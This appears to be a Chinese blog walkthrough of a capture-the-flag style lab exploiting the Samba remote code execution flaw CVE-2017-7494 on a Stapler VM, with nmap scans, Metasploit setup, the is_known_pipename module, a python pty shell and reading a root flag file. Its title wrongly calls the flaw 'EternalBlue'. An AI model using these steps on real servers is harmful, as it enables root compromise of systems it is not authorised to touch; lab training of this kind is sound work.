• Defense:SMB协议漏洞利用与控制CVE-2017-7494("永恒之蓝")攻防实验


    漏洞描述

    1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问

    2. 共享文件拥有写入权限

    3. 恶意攻击者需猜解Samba服务端共享目录的物理路径

    Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本,修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间的版本。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,使服务器加载并执行它。只需要一个可写入的Samba用户权限就可以利用该漏洞以root身份执行任意代码。

    实验环境

    https://pan.baidu.com/s/1AMd3BwbNjibv0TIcJjAFMw     靶机环境

    靶机环境:Stapler.zip中包含虚拟机导入文件,请使用virtual-box加载启动。环境中有CVE-2017-7494相应的漏洞。(网卡模式设置为NAT模式或Bridge【桥接】模式--和攻击环境设置一样的模式即可)

    攻击环境:Kali-linxu,使用virtual-box启动。(网卡模式设置为NAT模式或Bridge【桥接】模式--和靶机环境设置一样的模式即可)

    实验目的:读取靶机环境中的/root/flags.txt文件

    说明:靶机环境和攻击环境为两台虚拟机,启动并保证两台机器互联互通。

    实验步骤

    一、 Ka li Linux内通过Nmap或netdiscover扫描同网段其他主机

    #假设网段为 192.168.1.0
    sudo nmap -sP -PI -PT 192.168.1.0/24

     

     二、使用Nmap工具扫描目标IP地址,发现其开放端口

    #扫描目标IP地址
    nmap -sV 192.168.60.50

     

    Kali 启动metasploit服务

     kali linux 2.0 本身已内置metasploit,kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。

    kali 2.0中启动带数据库支持的msf方式

    #首先启动postgresql数据库
    /etc/init.d/postgresql start;
    或者 
    service postgresql start;
    
    #初始化MSF数据库(关键步骤!)
    msfdb init;
    
    #运行msfconsole
    msfconsole;
    
    #在msf中查看数据库连接状态
    db_status
    
    #将postgresql数据库设置开机自启
    update-rc.d postgresql enable

    漏洞利用过程

    在msfconsole使用 search 命令搜索CVE-2017-7494相关攻击模块

    #搜索CVE-2017-7494攻击模块
    search 2017-7494

    可以看到 exploit/linux/samba/is_known_pipename 攻击模块

    加载攻击模块

    #加载攻击模块
    use exploit/linux/samba/is_known_pipename

    查看攻击模块中需要配置的参数

    #查看需要设置的参数
    show options

    RHOST代表要攻击的目标IP地址

    RPORT代表攻击目标的端口号

    设置参数进行攻击

    #设置攻击目标的IP
    set rhost  192.168.60.50
    
    #设置攻击目标的端口
    set rport  445

    #开始攻击
    exploit

    run

    获取命令行交互窗口

    使用python脚本获得交互命令行窗口

    #获取命令行交互窗口
    python -c "import pty; pty.spawn('/bin/bash')"
    或
    python3 -c 'import pty;pty.spawn("/bin/bash")'

    获取目标文件

    #获取查看目标文件
    cat /root/flags.txt

     

    完成攻击实验测试!!

  • 相关阅读:
    关于php操作windows计划任务管理
    学习: 导航器添加修饰符
    写给想学 Javascript 朋友的一点经验之谈
    Firebug Tutorial – Logging, Profiling and CommandLine (Part I)
    getElementsByClass(2)
    关于JavaScript的事件
    Javascript修改对象方法
    采用哪种方式(JS高级程序设计)
    getElementsByClass(1)
    让CSS更简洁、高效些,别再想当然了
  • 原文地址:https://www.cnblogs.com/nhdlb/p/14186051.html
Copyright © 2020-2023  润新知